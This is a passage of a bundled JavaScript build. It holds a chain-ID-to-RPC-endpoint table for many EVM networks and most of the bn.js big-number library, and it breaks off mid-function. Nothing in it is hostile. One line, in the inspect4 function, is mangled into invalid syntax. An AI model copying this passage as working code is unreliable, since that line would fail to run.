[\"https://rpc.icecreamswap.com\", \"https://nodes.vefinetwork.org/bitgert\", \"https://flux-rpc.brisescan.com\", \"https://flux-rpc1.brisescan.com\", \"https://flux-rpc2.brisescan.com\", \"https://rpc-1.chainrpc.com\", \"https://rpc-2.chainrpc.com\", \"https://node1.serverrpc.com\", \"https://node2.serverrpc.com\"], \"32659\": [\"https://mainnet.fusionnetwork.io\"], \"34443\": [\"https://1rpc.io/mode\"], \"35011\": [], \"35441\": [], \"39797\": [\"https://nodeapi.energi.network\", \"https://explorer.energi.network/api/eth-rpc\"], \"39815\": [\"https://mainnet.oho.ai\", \"https://mainnet-rpc.ohoscan.com\", \"https://mainnet-rpc2.ohoscan.com\"], \"42069\": [], \"42161\": [\"https://arb1.arbitrum.io/rpc\", \"https://arbitrum.llamarpc.com\", \"https://1rpc.io/arb\", \"https://arb-pokt.nodies.app\", \"https://endpoints.omniatech.io/v1/arbitrum/one/public\", \"https://arbitrum-one-rpc.publicnode.com\", \"https://arbitrum.meowrpc.com\", \"https://arbitrum.drpc.org\", \"https://rpc.tornadoeth.cash/arbitrum\"], \"42170\": [\"https://nova.arbitrum.io/rpc\", \"https://arbitrum-nova-rpc.publicnode.com\", \"https://arbitrum-nova.drpc.org\"], \"42220\": [\"https://forno.celo.org\", \"https://1rpc.io/celo\"], \"42262\": [\"https://emerald.oasis.dev/\", \"https://1rpc.io/oasis/emerald\"], \"43110\": [], \"43113\": [\"https://api.avax-test.network/ext/bc/C/rpc\", \"https://avalanchetestapi.terminet.io/ext/bc/C/rpc\", \"https://endpoints.omniatech.io/v1/avax/fuji/public\", \"https://avalanche-fuji-c-chain-rpc.publicnode.com\"], \"43114\": [\"https://api.avax.network/ext/bc/C/rpc\", \"https://avalanche.public-rpc.com\", \"https://avalancheapi.terminet.io/ext/bc/C/rpc\", \"https://avalanche-c-chain-rpc.publicnode.com\", \"https://1rpc.io/avax/c\", \"https://avax-pokt.nodies.app/ext/bc/C/rpc\", \"https://endpoints.omniatech.io/v1/avax/mainnet/public\", \"https://avax.meowrpc.com\", \"https://avalanche.drpc.org\", \"https://rpc.tornadoeth.cash/avax\"], \"45000\": [\"https://rpc.autobahn.network\"], \"47805\": [\"https://rpc.rei.network\"], \"50001\": [\"https://rpc.oracle.liveplex.io\"], \"53935\": [\"https://avax-pokt.nodies.app/ext/bc/q2aTwKuyzgs8pynF7UXBZCU7DejbZbZ6EUyHr3JQzYgwNPUPi/rpc\"], \"55555\": [\"https://rei-rpc.moonrhythm.io\"], \"59140\": [], \"59144\": [\"https://1rpc.io/linea\", \"https://linea.drpc.org\", \"https://linea.decubate.com\"], \"63000\": [\"https://rpc.ecredits.com\"], \"70000\": [], \"70001\": [\"https://proxy1.thinkiumrpc.net/\"], \"70002\": [\"https://proxy2.thinkiumrpc.net/\"], \"70103\": [\"https://proxy103.thinkiumrpc.net/\"], \"71394\": [\"https://mainnet.godwoken.io/rpc/eth-wallet\"], \"80001\": [\"https://rpc-mumbai.maticvigil.com\", \"https://polygontestapi.terminet.io/rpc\", \"https://endpoints.omniatech.io/v1/matic/mumbai/public\", \"https://polygon-mumbai-bor-rpc.publicnode.com\", \"https://polygon-mumbai-pokt.nodies.app\"], \"81457\": [\"https://rpc.blast.io\", \"https://blast.din.dev/rpc\", \"https://blastl2-mainnet.public.blastapi.io\", \"https://blast.blockpi.network/v1/rpc/public\"], \"84531\": [\"https://1rpc.io/base-goerli\", \"https://base-goerli-rpc.publicnode.com\", \"https://endpoints.omniatech.io/v1/base/goerli/public\"], \"84532\": [\"https://rpc.notadegen.com/base/sepolia\"], \"99999\": [\"https://rpc.uschain.network\"], \"100000\": [], \"100001\": [], \"100002\": [], \"100003\": [], \"100004\": [], \"100005\": [], \"100006\": [], \"100007\": [], \"100008\": [], \"103090\": [\"https://evm.cryptocurrencydevs.org\", \"https://rpc.crystaleum.org\"], \"108801\": [], \"110000\": [], \"110001\": [], \"110002\": [], \"110003\": [], \"110004\": [], \"110005\": [], \"110006\": [], \"110007\": [], \"110008\": [], \"142857\": [], \"167008\": [], \"200625\": [\"https://boot2.akroma.org/\"], \"201018\": [\"https://openapi.alaya.network/rpc\"], \"210425\": [], \"246529\": [], \"256256\": [\"https://mainnet.block.caduceus.foundation\"], \"281121\": [], \"314159\": [], \"333999\": [\"https://rpc.polis.tech\"], \"363636\": [\"https://dgs-rpc.digitsoul.co.th\"], \"420420\": [\"https://mainnet.kekchain.com\", \"https://rpc2.kekchain.com\", \"https://kek.interchained.org\", \"https://kekchain.interchained.org\"], \"420666\": [\"https://testnet.kekchain.com\"], \"421613\": [\"https://endpoints.omniatech.io/v1/arbitrum/goerli/public\", \"https://arbitrum-goerli-rpc.publicnode.com\", \"https://api.stateless.solutions/arbitrum-one/v1/77abba85-53e4-4430-a332-a46deb9900ea\"], \"421614\": [], \"431140\": [\"https://rpc.markr.io/ext/\"], \"512512\": [\"https://galaxy.block.caduceus.foundation\"], \"534351\": [\"https://scroll-sepolia.drpc.org\", \"https://scroll-testnet.rpc.grove.city/v1/a7a7c8e2\"], \"534352\": [\"https://rpc.scroll.io\", \"https://rpc-scroll.icecreamswap.com\", \"https://1rpc.io/scroll\", \"https://scroll.drpc.org\", \"https://scroll-mainnet.rpc.grove.city/v1/a7a7c8e2\"], \"534353\": [], \"534354\": [\"https://prealpha-rpc.scroll.io/l2\"], \"827431\": [\"https://mainnet-rpc.curvescan.io\"], \"888888\": [\"https://infragrid.v.network/ethereum/compatible\"], \"900000\": [\"https://api.posichain.org\", \"https://api.s0.posichain.org\"], \"955305\": [\"https://host-76-74-28-226.contentfabric.io/eth/\"], \"1313114\": [\"https://rpc.ethoprotocol.com\"], \"1313500\": [\"https://rpc.xerom.org\"], \"2099156\": [\"https://mainnet.plian.io/pchain\"], \"7762959\": [], \"8007736\": [\"https://mainnet.plian.io/child_0\"], \"10067275\": [\"https://testnet.plian.io/child_test\"], \"11155111\": [\"https://rpc.notadegen.com/eth/sepolia\", \"https://endpoints.omniatech.io/v1/eth/sepolia/public\", \"https://ethereum-sepolia-rpc.publicnode.com\", \"https://1rpc.io/sepolia\"], \"11155420\": [], \"13371337\": [], \"16658437\": [\"https://testnet.plian.io/testnet\"], \"18289463\": [], \"20181205\": [\"https://hz.rpc.qkiscan.cn\", \"https://rpc1.qkiscan.cn\", \"https://rpc2.qkiscan.cn\", \"https://rpc3.qkiscan.cn\", \"https://rpc1.qkiscan.io\", \"https://rpc2.qkiscan.io\", \"https://rpc3.qkiscan.io\"], \"28945486\": [], \"35855456\": [\"https://node.joys.digital\"], \"61717561\": [\"https://c.onical.org\"], \"88888888\": [\"https://rpc.teamblockchain.team\"], \"168587773\": [], \"192837465\": [\"https://mainnet.gather.network\"], \"245022926\": [\"https://devnet.neonevm.org\"], \"245022934\": [\"https://neon-proxy-mainnet.solana.p2p.org\", \"https://neon-mainnet.everstake.one\"], \"311752642\": [\"https://mainnet-rpc.oneledger.network\"], \"356256156\": [\"https://testnet.gather.network\"], \"486217935\": [\"https://devnet.gather.network\"], \"1122334455\": [], \"1313161554\": [\"https://mainnet.aurora.dev\", \"https://endpoints.omniatech.io/v1/aurora/mainnet/public\", \"https://1rpc.io/aurora\", \"https://aurora.drpc.org\"], \"1313161555\": [\"https://endpoints.omniatech.io/v1/aurora/testnet/public\"], \"1313161556\": [], \"1666600000\": [\"https://api.harmony.one\", \"https://a.api.s0.t.hmny.io\", \"https://api.s0.t.hmny.io\", \"https://1rpc.io/one\", \"https://hmyone-pokt.nodies.app\", \"https://endpoints.omniatech.io/v1/harmony/mainnet-0/public\"], \"1666600001\": [\"https://s1.api.harmony.one\"], \"1666600002\": [\"https://s2.api.harmony.one\"], \"1666600003\": [], \"1666700000\": [\"https://endpoints.omniatech.io/v1/harmony/testnet-0/public\"], \"2021121117\": [], \"3125659152\": [], \"11297108109\": [], \"836542336838601\": [], \"11297108099\": [], \"197710212030\": [\"https://rpc.ntity.io\"], \"6022140761023\": [\"https://molereum.jdubedition.com\"] };\n }\n});\n\n// (disabled):buffer\nvar require_buffer = __commonJS({\n \"(disabled):buffer\"() {\n \"use strict\";\n init_define_chainIDList();\n init_define_extraRpcs();\n }\n});\n\n// node_modules/bn.js/lib/bn.js\nvar require_bn = __commonJS({\n \"node_modules/bn.js/lib/bn.js\"(exports, module) {\n \"use strict\";\n init_define_chainIDList();\n init_define_extraRpcs();\n (function(module2, exports2) {\n \"use strict\";\n function assert2(val, msg) {\n if (!val)\n throw new Error(msg || \"Assertion failed\");\n }\n function inherits2(ctor, superCtor) {\n ctor.super_ = superCtor;\n var TempCtor = function() {\n };\n TempCtor.prototype = superCtor.prototype;\n ctor.prototype = new TempCtor();\n ctor.prototype.constructor = ctor;\n }\n function BN3(number, base2, endian) {\n if (BN3.isBN(number)) {\n return number;\n }\n this.negative = 0;\n this.words = null;\n this.length = 0;\n this.red = null;\n if (number !== null) {\n if (base2 === \"le\" || base2 === \"be\") {\n endian = base2;\n base2 = 10;\n }\n this._init(number || 0, base2 || 10, endian || \"be\");\n }\n }\n if (typeof module2 === \"object\") {\n module2.exports = BN3;\n } else {\n exports2.BN = BN3;\n }\n BN3.BN = BN3;\n BN3.wordSize = 26;\n var Buffer2;\n try {\n if (typeof window !== \"undefined\" && typeof window.Buffer !== \"undefined\") {\n Buffer2 = window.Buffer;\n } else {\n Buffer2 = require_buffer().Buffer;\n }\n } catch (e) {\n }\n BN3.isBN = function isBN(num) {\n if (num instanceof BN3) {\n return true;\n }\n return num !== null && typeof num === \"object\" && num.constructor.wordSize === BN3.wordSize && Array.isArray(num.words);\n };\n BN3.max = function max(left, right) {\n if (left.cmp(right) > 0)\n return left;\n return right;\n };\n BN3.min = function min(left, right) {\n if (left.cmp(right) < 0)\n return left;\n return right;\n };\n BN3.prototype._init = function init2(number, base2, endian) {\n if (typeof number === \"number\") {\n return this._initNumber(number, base2, endian);\n }\n if (typeof number === \"object\") {\n return this._initArray(number, base2, endian);\n }\n if (base2 === \"hex\") {\n base2 = 16;\n }\n assert2(base2 === (base2 | 0) && base2 >= 2 && base2 <= 36);\n number = number.toString().replace(/\\s+/g, \"\");\n var start = 0;\n if (number[0] === \"-\") {\n start++;\n this.negative = 1;\n }\n if (start < number.length) {\n if (base2 === 16) {\n this._parseHex(number, start, endian);\n } else {\n this._parseBase(number, base2, start);\n if (endian === \"le\") {\n this._initArray(this.toArray(), base2, endian);\n }\n }\n }\n };\n BN3.prototype._initNumber = function _initNumber(number, base2, endian) {\n if (number < 0) {\n this.negative = 1;\n number = -number;\n }\n if (number < 67108864) {\n this.words = [number & 67108863];\n this.length = 1;\n } else if (number < 4503599627370496) {\n this.words = [\n number & 67108863,\n number / 67108864 & 67108863\n ];\n this.length = 2;\n } else {\n assert2(number < 9007199254740992);\n this.words = [\n number & 67108863,\n number / 67108864 & 67108863,\n 1\n ];\n this.length = 3;\n }\n if (endian !== \"le\")\n return;\n this._initArray(this.toArray(), base2, endian);\n };\n BN3.prototype._initArray = function _initArray(number, base2, endian) {\n assert2(typeof number.length === \"number\");\n if (number.length <= 0) {\n this.words = [0];\n this.length = 1;\n return this;\n }\n this.length = Math.ceil(number.length / 3);\n this.words = new Array(this.length);\n for (var i = 0; i < this.length; i++) {\n this.words[i] = 0;\n }\n var j, w;\n var off = 0;\n if (endian === \"be\") {\n for (i = number.length - 1, j = 0; i >= 0; i -= 3) {\n w = number[i] | number[i - 1] << 8 | number[i - 2] << 16;\n this.words[j] |= w << off & 67108863;\n this.words[j + 1] = w >>> 26 - off & 67108863;\n off += 24;\n if (off >= 26) {\n off -= 26;\n j++;\n }\n }\n } else if (endian === \"le\") {\n for (i = 0, j = 0; i < number.length; i += 3) {\n w = number[i] | number[i + 1] << 8 | number[i + 2] << 16;\n this.words[j] |= w << off & 67108863;\n this.words[j + 1] = w >>> 26 - off & 67108863;\n off += 24;\n if (off >= 26) {\n off -= 26;\n j++;\n }\n }\n }\n return this._strip();\n };\n function parseHex4Bits(string, index) {\n var c = string.charCodeAt(index);\n if (c >= 48 && c <= 57) {\n return c - 48;\n } else if (c >= 65 && c <= 70) {\n return c - 55;\n } else if (c >= 97 && c <= 102) {\n return c - 87;\n } else {\n assert2(false, \"Invalid character in \" + string);\n }\n }\n function parseHexByte(string, lowerBound, index) {\n var r2 = parseHex4Bits(string, index);\n if (index - 1 >= lowerBound) {\n r2 |= parseHex4Bits(string, index - 1) << 4;\n }\n return r2;\n }\n BN3.prototype._parseHex = function _parseHex(number, start, endian) {\n this.length = Math.ceil((number.length - start) / 6);\n this.words = new Array(this.length);\n for (var i = 0; i < this.length; i++) {\n this.words[i] = 0;\n }\n var off = 0;\n var j = 0;\n var w;\n if (endian === \"be\") {\n for (i = number.length - 1; i >= start; i -= 2) {\n w = parseHexByte(number, start, i) << off;\n this.words[j] |= w & 67108863;\n if (off >= 18) {\n off -= 18;\n j += 1;\n this.words[j] |= w >>> 26;\n } else {\n off += 8;\n }\n }\n } else {\n var parseLength = number.length - start;\n for (i = parseLength % 2 === 0 ? start + 1 : start; i < number.length; i += 2) {\n w = parseHexByte(number, start, i) << off;\n this.words[j] |= w & 67108863;\n if (off >= 18) {\n off -= 18;\n j += 1;\n this.words[j] |= w >>> 26;\n } else {\n off += 8;\n }\n }\n }\n this._strip();\n };\n function parseBase(str, start, end, mul3) {\n var r2 = 0;\n var b = 0;\n var len = Math.min(str.length, end);\n for (var i = start; i < len; i++) {\n var c = str.charCodeAt(i) - 48;\n r2 *= mul3;\n if (c >= 49) {\n b = c - 49 + 10;\n } else if (c >= 17) {\n b = c - 17 + 10;\n } else {\n b = c;\n }\n assert2(c >= 0 && b < mul3, \"Invalid character\");\n r2 += b;\n }\n return r2;\n }\n BN3.prototype._parseBase = function _parseBase(number, base2, start) {\n this.words = [0];\n this.length = 1;\n for (var limbLen = 0, limbPow = 1; limbPow <= 67108863; limbPow *= base2) {\n limbLen++;\n }\n limbLen--;\n limbPow = limbPow / base2 | 0;\n var total = number.length - start;\n var mod = total % limbLen;\n var end = Math.min(total, total - mod) + start;\n var word = 0;\n for (var i = start; i < end; i += limbLen) {\n word = parseBase(number, i, i + limbLen, base2);\n this.imuln(limbPow);\n if (this.words[0] + word < 67108864) {\n this.words[0] += word;\n } else {\n this._iaddn(word);\n }\n }\n if (mod !== 0) {\n var pow = 1;\n word = parseBase(number, i, number.length, base2);\n for (i = 0; i < mod; i++) {\n pow *= base2;\n }\n this.imuln(pow);\n if (this.words[0] + word < 67108864) {\n this.words[0] += word;\n } else {\n this._iaddn(word);\n }\n }\n this._strip();\n };\n BN3.prototype.copy = function copy(dest) {\n dest.words = new Array(this.length);\n for (var i = 0; i < this.length; i++) {\n dest.words[i] = this.words[i];\n }\n dest.length = this.length;\n dest.negative = this.negative;\n dest.red = this.red;\n };\n function move(dest, src) {\n dest.words = src.words;\n dest.length = src.length;\n dest.negative = src.negative;\n dest.red = src.red;\n }\n BN3.prototype._move = function _move(dest) {\n move(dest, this);\n };\n BN3.prototype.clone = function clone() {\n var r2 = new BN3(null);\n this.copy(r2);\n return r2;\n };\n BN3.prototype._expand = function _expand(size) {\n while (this.length < size) {\n this.words[this.length++] = 0;\n }\n return this;\n };\n BN3.prototype._strip = function strip() {\n while (this.length > 1 && this.words[this.length - 1] === 0) {\n this.length--;\n }\n return this._normSign();\n };\n BN3.prototype._normSign = function _normSign() {\n if (this.length === 1 && this.words[0] === 0) {\n this.negative = 0;\n }\n return this;\n };\n if (typeof Symbol !== \"undefined\" && typeof Symbol.for === \"function\") {\n try {\n BN3.prototype[Symbol.for(\"nodejs.util.inspect.custom\")] = inspect4;\n } catch (e) {\n BN3.prototype.inspect = inspect4;\n }\n } else {\n BN3.prototype.inspect = inspect4;\n }\n function inspect4() {\n return (this.red ? \"\";\n }\n var zeros = [\n \"\",\n \"0\",\n \"00\",\n \"000\",\n \"0000\",\n \"00000\",\n \"000000\",\n \"0000000\",\n \"00000000\",\n \"000000000\",\n \"0000000000\",\n \"00000000000\",\n \"000000000000\",\n \"0000000000000\",\n \"00000000000000\",\n \"000000000000000\",\n \"0000000000000000\",\n \"00000000000000000\",\n \"000000000000000000\",\n \"0000000000000000000\",\n \"00000000000000000000\",\n \"000000000000000000000\",\n \"0000000000000000000000\",\n \"00000000000000000000000\",\n \"000000000000000000000000\",\n \"0000000000000000000000000\"\n ];\n var groupSizes = [\n 0,\n 0,\n 25,\n 16,\n 12,\n 11,\n 10,\n 9,\n 8,\n 8,\n 7,\n 7,\n 7,\n 7,\n 6,\n 6,\n 6,\n 6,\n 6,\n 6,\n 6,\n 5,\n 5,\n 5,\n 5,\n 5,\n 5,\n 5,\n 5,\n 5,\n 5,\n 5,\n 5,\n 5,\n 5,\n 5,\n 5\n ];\n var groupBases = [\n 0,\n 0,\n 33554432,\n 43046721,\n 16777216,\n 48828125,\n 60466176,\n 40353607,\n 16777216,\n 43046721,\n 1e7,\n 19487171,\n 35831808,\n 62748517,\n 7529536,\n 11390625,\n 16777216,\n 24137569,\n 34012224,\n 47045881,\n 64e6,\n 4084101,\n 5153632,\n 6436343,\n 7962624,\n 9765625,\n 11881376,\n 14348907,\n 17210368,\n 20511149,\n 243e5,\n 28629151,\n 33554432,\n 39135393,\n 45435424,\n 52521875,\n 60466176\n ];\n BN3.prototype.toString = function toString3(base2, padding2) {\n base2 = base2 || 10;\n padding2 = padding2 | 0 || 1;\n var out;\n if (base2 === 16 || base2 === \"hex\") {\n out = \"\";\n var off = 0;\n var carry = 0;\n for (var i = 0; i < this.length; i++) {\n var w = this.words[i];\n var word = ((w << off | carry) & 16777215).toString(16);\n carry = w >>> 24 - off & 16777215;\n off += 2;\n if (off >= 26) {\n off -= 26;\n i--;\n }\n if (carry !== 0 || i !== this.length - 1) {\n out = zeros[6 - word.length] + word + out;\n } else {\n out = word + out;\n }\n }\n if (carry !== 0) {\n out = carry.toString(16) + out;\n }\n while (out.length % padding2 !== 0) {\n out = \"0\" + out;\n }\n if (this.negative !== 0) {\n out = \"-\" + out;\n }\n return out;\n }\n if (base2 === (base2 | 0) && base2 >= 2 && base2 <= 36) {\n var groupSize = groupSizes[base2];\n var groupBase = groupBases[base2];\n out = \"\";\n var c = this.clone();\n c.negative = 0;\n while (!c.isZero()) {\n var r2 = c.modrn(groupBase).toString(base2);\n c = c.idivn(groupBase);\n if (!c.isZero()) {\n out = zeros[groupSize - r2.length] + r2 + out;\n } else {\n out = r2 + out;\n }\n }\n if (this.isZero()) {\n out = \"0\" + out;\n }\n while (out.length % padding2 !== 0) {\n out = \"0\" + out;\n }\n if (this.negative !== 0) {\n out = \"-\" + out;\n }\n return out;\n }\n assert2(false, \"Base should be between 2 and 36\");\n };\n BN3.prototype.toNumber = function toNumber() {\n var ret = this.words[0];\n if (this.length === 2) {\n ret += this.words[1] * 67108864;\n } else if (this.length === 3 && this.words[2] === 1) {\n ret += 4503599627370496 + this.words[1] * 67108864;\n } else if (this.length > 2) {\n assert2(false, \"Number can only safely store up to 53 bits\");\n }\n return this.negative !== 0 ? -ret : ret;\n };\n BN3.prototype.toJSON = function toJSON3() {\n return this.toString(16, 2);\n };\n if (Buffer2) {\n BN3.prototype.toBuffer = function toBuffer(endian, length) {\n return this.toArrayLike(Buffer2, endian, length);\n };\n }\n BN3.prototype.toArray = function toArray2(endian, length) {\n return this.toArrayLike(Array, endian, length);\n };\n var allocate = function allocate2(ArrayType, size) {\n if (ArrayType.allocUnsafe) {\n return ArrayType.allocUnsafe(size);\n }\n return new ArrayType(size);\n };\n BN3.prototype.toArrayLike = function toArrayLike(ArrayType, endian, length) {\n this._strip();\n var byteLength = this.byteLength();\n var reqLength = length || Math.max(1, byteLength);\n assert2(byteLength <= reqLength, \"byte array longer than desired length\");\n assert2(reqLength > 0, \"Requested array length <= 0\");\n var res = allocate(ArrayType, reqLength);\n var postfix = endian === \"le\" ? \"LE\" : \"BE\";\n this[\"_toArrayLike\" + postfix](res, byteLength);\n return res;\n };\n BN3.prototype._toArrayLikeLE = function _toArrayLikeLE(res, byteLength) {\n var position = 0;\n var carry = 0;\n for (var i = 0, shift = 0; i < this.length; i++) {\n var word = this.words[i] << shift | carry;\n res[position++] = word & 255;\n if (position < res.length) {\n res[position++] = word >> 8 & 255;\n }\n if (position < res.length) {\n res[position++] = word >> 16 & 255;\n }\n if (shift === 6) {\n if (position < res.length) {\n res[position++] = word >> 24 & 255;\n }\n carry = 0;\n shift = 0;\n } else {\n carry = word >>> 24;\n shift += 2;\n }\n }\n if (position < res.length) {\n res[position++] = carry;\n while (position < res.length) {\n res[position++] = 0;\n }\n }\n };\n BN3.prototype._toArrayLikeBE = function _toArrayLikeBE(res, byteLength) {\n var position = res.length - 1;\n var carry = 0;\n for (var i = 0, shift = 0; i < this.length; i++) {\n var word = this.words[i] << shift | carry;\n res[position--] = word & 255;\n if (position >= 0) {\n res[position--] = word >> 8 & 255;\n }\n if (position >= 0) {\n res[position--] = word >> 16 & 255;\n }\n if (shift === 6) {\n if (position >= 0) {\n res[position--] = word >> 24 & 255;\n }\n carry = 0;\n shift = 0;\n } else {\n carry = word >>> 24;\n shift += 2;\n }\n }\n if (position >= 0) {\n res[position--] = carry;\n while (position >= 0) {\n res[position--] = 0;\n }\n }\n };\n if (Math.clz32) {\n BN3.prototype._countBits = function _countBits(w) {\n return 32 - Math.clz32(w);\n };\n } else {\n BN3.prototype._countBits = function _countBits(w) {\n var t = w;\n var r2 = 0;\n if (t >= 4096) {\n r2 += 13;\n t >>>= 13;\n }\n if (t >= 64) {\n r2 += 7;\n t >>>= 7;\n }\n if (t >= 8) {\n r2 += 4;\n t >>>= 4;\n }\n if (t >= 2) {\n r2 += 2;\n t >>>= 2;\n }\n return r2 + t;\n };\n }\n BN3.prototype._zeroBits = function _zeroBits(w) {\n if (w === 0)\n return 26;\n var t = w;\n var r2 = 0;\n if ((t & 8191) === 0) {\n r2 += 13;\n t >>>= 13;\n }\n if ((t & 127) === 0) {\n r2 += 7;\n t >>>= 7;\n }\n if ((t & 15) === 0) {\n r2 += 4;\n t >>>= 4;\n }\n if ((t & 3) === 0) {\n r2 += 2;\n t >>>= 2;\n }\n if ((t & 1) === 0) {\n r2++;\n }\n return r2;\n };\n BN3.prototype.bitLength = function bitLength() {\n var w = this.words[this.length - 1];\n var hi = this._countBits(w);\n return (this.length - 1) * 26 + hi;\n };\n function toBitArray(num) {\n var w = new Array(num.bitLength());\n for (var bit = 0; bit < w.length; bit++) {\n var off = bit / 26 | 0;\n var wbit = bit % 26;\n w[bit] = num.words[off] >>> wbit & 1;\n }\n return w;\n }\n BN3.prototype.zeroBits = function zeroBits() {\n if (this.isZero())\n return 0;\n var r2 = 0;\n for (var i = 0; i < this.length; i++) {\n var b = this._zeroBits(this.words[i]);\n r2 += b;\n if (b !== 26)\n break;\n }\n return r2;\n };\n BN3.prototype.byteLength = function byteLength() {\n return Math.ceil(this.bitLength() / 8);\n };\n BN3.prototype.toTwos = function toTwos(width) {\n if (this.negative !== 0) {\n return this.abs().inotn(width).iaddn(1);\n }\n return this.clone();\n };\n BN3.prototype.fromTwos = function fromTwos(width) {\n if (this.testn(width - 1)) {\n return this.notn(width).iaddn(1).ineg();\n }\n return this.clone();\n };\n BN3.prototype.isNeg = function isNeg() {\n return this.negative !== 0;\n };\n BN3.prototype.neg = function neg3() {\n return this.clone().ineg();\n };\n BN3.prototype.ineg = function ineg() {\n if (!this.isZero()) {\n this.negative ^= 1;\n }\n return this;\n };\n BN3.prototype.iuor = function iuor(num) {\n while (this.length < num.length) {\n this.words[this.length++] = 0;\n }\n for (var i = 0; i < num.length; i++) {\n this.words[i] = this.words[i] | num.words[i];\n }\n return this._strip();\n };\n BN3.prototype.ior = function ior(num) {\n assert2((this.negative | num.negative) === 0);\n return this.iuor(num);\n };\n BN3.prototype.or = function or(num) {\n if (this.length > num.length)\n return this.clone().ior(num);\n return num.clone().ior(this);\n };\n BN3.prototype.uor = function uor(num) {\n if (this.length > num.length)\n return this.clone().iuor(num);\n return num.clone().iuor(this);\n };\n BN3.prototype.iuand = function iuand(num) {\n var b;\n if (this.length > num.length) {\n b = num;\n } else {\n b = this;\n }\n for (var i = 0; i < b.length; i++) {\n this.words[i] = this.words[i] & num.words[i];\n }\n this.length = b.length;\n return this._strip();\n };\n BN3.prototype.iand = function iand(num) {\n assert2((this.negative | num.negative) === 0);\n return this.iuand(num);\n };\n BN3.prototype.and = function and(num) {\n if (this.length > num.length)\n return this.clone().iand(num);\n return num.clone().iand(this);\n };\n BN3.prototype.uand = function uand(num) {\n if (this.length > num.length)\n return this.clone().iuand(num);\n return num.clone().iuand(this);\n };\n BN3.prototype.iuxor = function iuxor(num) {\n var a;\n var b;\n if (this.length > num.length) {\n a = this;\n b = num;\n } else {\n a = num;\n b = this;\n }\n for (var i = 0; i < b.length; i++) {\n this.words[i] = a.words[i] ^ b.words[i];\n }\n if (this !== a) {\n for (; i < a.length; i++) {\n this.words[i] = a.words[i];\n }\n }\n this.length = a.length;\n return this._strip();\n };\n BN3.prototype.ixor = function ixor(num) {\n assert2((this.negative | num.negative) === 0);\n return this.iuxor(num);\n };\n BN3.prototype.xor = function xor(num) {\n if (this.length > num.length)\n return this.clone().ixor(num);\n return num.clone().ixor(this);\n };\n BN3.prototype.uxor = function uxor(num) {\n if (this.length > num.length)\n return this.clone().iuxor(num);\n return num.clone().iuxor(this);\n };\n BN3.prototype.inotn = function inotn(width) {\n assert2(typeof width === \"number\" && width >= 0);\n var bytesNeeded = Math.ceil(width / 26) | 0;\n var bitsLeft = width % 26;\n this._expand(bytesNeeded);\n if (bitsLeft > 0) {\n bytesNeeded--;\n }\n for (var i = 0; i < bytesNeeded; i++) {\n this.words[i] = ~this.words[i] & 67108863;\n }\n if (bitsLeft > 0) {\n this.words[i] = ~this.words[i] & 67108863 >> 26 - bitsLeft;\n }\n return this._strip();\n };\n BN3.prototype.notn = function notn(width) {\n return this.clone().inotn(width);\n };\n BN3.prototype.setn = function setn(bit, val) {\n assert2(typeof bit === \"number\" && bit >= 0);\n var off = bit / 26 | 0;\n var wbit = bit % 26;\n this._expand(off + 1);\n if (val) {\n this.words[off] = this.words[off] | 1 << wbit;\n } else {\n this.words[off] = this.words[off] & ~(1 << wbit);\n }\n return this._strip();\n };\n BN3.prototype.iadd = function iadd(num) {\n var r2;\n if (this.negative !== 0 && num.negative === 0) {\n this.negative = 0;\n r2 = this.isub(num);\n this.negative ^= 1;\n return this._normSign();\n } else if (this.negative === 0 && num.negative !== 0) {\n num.negative = 0;\n r2 = this.isub(num);\n num.negative = 1;\n return r2._normSign();\n }\n var a, b;\n if (this.length > num.length) {\n a = this;\n b = num;\n } else {\n a = num;\n b = this;\n }\n var carry = 0;\n for (var i = 0; i < b.length; i++) {\n r2 = (a.words[i] | 0) + (b.words[i] | 0) + carry;\n this.words[i] = r2 & 67108863;\n carry = r2 >>> 26;\n }\n for (; carry !== 0 && i < a.length; i++) {\n r2 = (a.words[i] | 0) + carry;\n this.words[i] = r2 & 67108863;\n carry = r2 >>> 26;\n }\n this.length = a.length;\n if (carry !== 0) {\n this.words[this.length] = carry;\n this.length++;\n } else if (a !== this) {\n for (; i < a.length; i++) {\n this.words[i] = a.words[i];\n }\n }\n return this;\n };\n BN3.prototype.add = function add3(num) {\n var res;\n if (num.negative !== 0 && this.negative === 0) {\n num.negative = 0;\n res = this.sub(num);\n num.negative ^= 1;\n return res;\n } else if (num.negative === 0 && this.negative !== 0) {\n this.negative = 0;\n res = num.sub(this);\n this.negative = 1;\n return res;\n }\n if (this.length > num.length)\n return this.clone().iadd(num);\n return num.clone().iadd(this);\n };\n BN3.prototype.isub = function isub(num) {\n if (num.negative !== 0) {\n num.negative = 0;\n var r2 = this.iadd(num);\n num.negative = 1;\n return r2._normSign();\n } else if (this.negative !== 0) {\n this.negative = 0;\n this.iadd(num);\n this.negative = 1;\n return this._normSign();\n }\n var cmp = this.cmp(num);\n if (cmp === 0) {\n this.negative = 0;\n this.length = 1;\n this.words[0] = 0;\n return this;\n }\n var a, b;\n if (cmp > 0) {\n a = this;\n b = num;\n } else {\n a = num;\n b = this;\n }\n var carry = 0;\n for (var i = 0; i < b.length; i++) {\n r2 = (a.words[i] | 0) - (b.words[i] | 0) + carry;\n carry = r2 >> 26;\n this.words[i] = r2 & 67108863;\n }\n for (; carry !== 0 && i < a.length; i++) {\n r2 = (a.words[i] | 0) + carry;\n carry = r2 >> 26;\n this.words[i] = r2 & 67108863;\n }\n if (carry === 0 && i < a.length && a !== this) {\n for (; i < a.length; i++) {\n this.words[i] = a.words[i];\n }\n }\n this.length = Math.max(this.length, i);\n if (a !== this) {\n this.negative = 1;\n }\n return this._strip();\n };\n BN3.prototype.sub = function sub(num) {\n return this.clone().isub(num);\n };\n function smallMulTo(self2, num, out) {\n out.negative = num.negative ^ self2.negative;\n var len = self2.length + num.length | 0;\n out.length = len;\n len = len - 1 | 0;\n var a = self2.words[0] | 0;\n var b = num.words[0] | 0;\n var r2 = a * b;\n var lo = r2 & 67108863;\n var carry = r2 / 67108864 | 0;\n out.words[0] = lo;\n for (var k = 1; k < len; k++) {\n var ncarry = carry >>> 26;\n var rword = carry & 67108863;\n var maxJ = Math.min(k, num.length - 1);\n for (var j = Math.max(0, k - self2.length + 1); j <= maxJ; j++) {\n var i = k - j | 0;\n a = self2.words[i] | 0;\n b = num.words[j] | 0;\n r2 = a * b + rword;\n ncarry += r2 / 67108864 | 0;\n rword = r2 & 67108863;\n }\n out.words[k] = rword | 0;\n carry = ncarry | 0;\n }\n if (carry !== 0) {\n out.words[k] = carry | 0;\n } else {\n out.length--;\n }\n return out._strip();\n }\n var comb10MulTo = function comb10MulTo2(self2, num, out) {\n var a = self2.words;\n var b = num.words;\n var o 